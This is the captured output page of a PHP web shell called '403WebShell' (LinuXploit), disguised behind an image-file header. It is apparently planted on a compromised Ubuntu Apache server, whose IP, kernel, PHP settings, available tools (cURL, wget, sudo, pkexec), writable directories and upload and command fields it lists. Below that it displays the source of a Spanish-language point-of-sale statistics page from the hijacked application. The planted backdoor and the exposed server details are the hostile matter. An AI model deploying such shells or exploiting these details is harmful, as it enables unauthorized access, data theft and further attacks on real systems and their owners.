����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.224.136.160
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/view/Estadisticas-view.php
<?php
date_default_timezone_set("America/Mexico_City");

 $dias[]=Array();
 $totalMes = 0;
if(Core::$user->kind==3){ Core::redir("./?view=sell"); }


  $dateB = new DateTime(date('Y-m-d')); 
  $dateA = $dateB->sub(DateInterval::createFromDateString('30 days'));
  $sd= strtotime(date_format($dateA,"Y-m-d"));
  $ed = strtotime(date("Y-m-d"));
  $ed1 = date("Y-m-d");

  $ntot = 0;
  $nsells = 0;
  $count =0;
for($i=$sd;$i<=$ed;$i+=(60*60*24)){
  $operations = SellData::getGroupByDateOp(date("Y-m-d",$i),date("Y-m-d",$i),2);
  $res = ReData::getGroupByDateOp(date("Y-m-d",$i),date("Y-m-d",$i),1);
  $spends = SpendGData::getGroupByDateOp(date("Y-m-d",$i),date("Y-m-d",$i));
  $products = OperationData::getGroupByDateOp($ed1,$ed1);
  //echo "  venta del dia:    ";
  //echo $operations[0]->t;
  
  //productos vendidos del dia
  $productsD= $products[0]->t;
  
  $count= $count+1;
  $dias[$count] = $operations[0]->t;
  $totalMes = $totalMes + $operations[0]->t;
  
  $sr = $res[0]->tot!=null?$res[0]->tot:0;

  $sl = $operations[0]->t!=null?$operations[0]->t:0;

  $sp = $spends[0]->t!=null?$spends[0]->t:0;
 
  $ntot+=($sl-($sp+$sr));
  $nsells += $operations[0]->c;
}

?>
  <section class="content-header">
    <h1>Estadisticas Generales</h1>
    <h4>Almacen principal: <?php echo StockData::getPrincipal()->name;  ?></h4>
  </section>

    <section class="content">
<div class="row">
  <div class="col-md-12">
  <?php if(Core::$user->kind==1):?>
  <a href="./?view=newproduct" class="btn btn-danger">Nuevo Producto</a>
  <a href="./?view=inventary&stock=<?php echo StockData::getPrincipal()->id; ?>" class="btn btn-success">Existencias 0's</a>
  <a href="./?view=smallbox&opt=all" class="btn btn-warning">Caja chica</a>
  <?php endif; ?>
  <a href="./?view=products_codebar" class="btn btn-info">Buscar Producto</a>
  </div>
  </div>

<br>

<?php  ?>
<div class="row">
        <div class="col-md-3 col-sm-6 col-xs-12">
          <div class="info-box">
            <span class="info-box-icon bg-aqua"><i class="fa fa-glass"></i></span>

            <div class="info-box-content">
              <span class="info-box-text">Productos Vendidos</span>
              <span class="info-box-number"><?php echo $productsD; ?><small></small></span>
			  <p> <span class="info-box-text">Hoy</span></p>
            </div>
            <!-- /.info-box-content -->
          </div>
          <!-- /.info-box -->
        </div>
        <!-- /.col -->
        <div class="col-md-3 col-sm-6 col-xs-12">
          <div class="info-box">
            <span class="info-box-icon bg-red"><i class="fa fa-male"></i></span>

            <div class="info-box-content">
              <span class="info-box-text">Descuentos $</span>
              <span class="info-box-number"></span>
            </div>
            <!-- /.info-box-content -->
          </div>
          <!-- /.info-box -->
        </div>
        <!-- /.col -->

        <!-- fix for small devices only -->
        <div class="clearfix visible-sm-block"></div>

        <div class="col-md-3 col-sm-6 col-xs-12">
          <div class="info-box">
            <span class="info-box-icon bg-green"><i class="fa fa-shopping-cart"></i></span>

            <div class="info-box-content">
              <span class="info-box-text">Ventas Hoy</span>
              <span class="info-box-number">$ <?php echo number_format($products[0]->c,2);?></span>
            </div>
            <!-- /.info-box-content -->
          </div>
          <!-- /.info-box -->
        </div>
        <!-- /.col -->
        <div class="col-md-3 col-sm-6 col-xs-12">
          <div class="info-box">
            <span class="info-box-icon bg-yellow"><i class="fa fa-area-chart"></i></span>

            <div class="info-box-content">
              <span class="info-box-text">Utilidad del Mes</span>
              <span class="info-box-number">$ <?php echo number_format($ntot,2,".",",");?></span>
            </div>
            <!-- /.info-box-content -->
          </div>
          <!-- /.info-box -->
        </div>
        <!-- /.col -->
      </div>
      <!-- /.row -->

      <div class="row">
        <div class="col-md-12">
          <div class="box box-primary">
            <!-- /.box-header -->
            <div class="box-body">
              <div class="row">
                <div class="col-md-12">
                  <p class="text-center">
                    <strong>Utilidades de los ultimos 15 dias</strong>
                  </p>



<?php 
  $dateB = new DateTime(date('Y-m-d')); 
  $dateA = $dateB->sub(DateInterval::createFromDateString('15 days'));
  $sd= strtotime(date_format($dateA,"Y-m-d"));
  $ed = strtotime(date("Y-m-d"));

?>
<div id="graph" class="animate" data-animate="fadeInUp" ></div>
<script>

<?php 
echo "var c=0;";
echo "var dates=Array();";
echo "var data=Array();";
echo "var total=Array();";
for($i=$sd;$i<=$ed;$i+=(60*60*24)){
  $operations = SellData::getGroupByDateOp(date("Y-m-d",$i),date("Y-m-d",$i),2);
  $res = ReData::getGroupByDateOp(date("Y-m-d",$i),date("Y-m-d",$i),1);
  $spends = SpendGData::getGroupByDateOp(date("Y-m-d",$i),date("Y-m-d",$i));
//  echo $operations[0]->t;
  $sr = $res[0]->tot!=null?$res[0]->tot:0;
  $sl = $operations[0]->t!=null?$operations[0]->t:0;
 
  $sp = $spends[0]->t!=null?$spends[0]->t:0;
  echo "dates[c]=\"".date("Y-m-d",$i)."\";";
  echo "data[c]=".($sl-($sp+$sr)).";";
  $dia = $sl;
  echo "total[c]={x: dates[c],y: data[c]};";
  echo "c++;";
 
}
?>
// Use Morris.Area instead of Morris.Line
Morris.Line({
  element: 'graph',
  data: total,
  xkey: 'x',
  ykeys: ['y',],
  labels: ['Y']
}).on('click', function(i, row){
  console.log(i, row);
});
</script>

                  <!-- /.chart-responsive -->
                </div>
                <!-- /.col -->

                <!-- /.col -->
              </div>
              <!-- /.row -->
            </div>
             
            <div class="box-footer">
              <div class="row">
                <div class="col-sm-3 col-xs-6">
                  <div class="description-block border-right">
                    <h5 class="description-header"> $<?php echo number_format($dias[$count-1],2);?></h5>
                    <span class="description-text">Ventas  -1 dia</span>
                  </div>
                </div>
                <div class="col-sm-3 col-xs-6">
                  <div class="description-block border-right">
                    <h5 class="description-header">$<?php echo number_format($dias[$count-2],2);?> </h5>
                    <span class="description-text">Ventas -2 dias</span>
                  </div>
                </div>
                <div class="col-sm-3 col-xs-6">
                  <div class="description-block border-right">
                    <h5 class="description-header">$<?php echo number_format($totalMes,2);?></h5>
                    <span class="description-text">Ventas del mes</span>
                  </div>
                </div>
                <div class="col-sm-3 col-xs-6">
                  <div class="description-block">
                    <h5 class="description-header"></h5>
                    <span class="description-text">Pagos Recibidos</span>
                  </div>
                </div>
              </div>
            </div>
            

            <!-- /.box-footer -->
          </div>
          <!-- /.box -->
        </div>
        <!-- /.col -->
      </div>
      <!-- /.row -->







</section>



Youez - 2016 - github.com/yon3zu
LinuXploit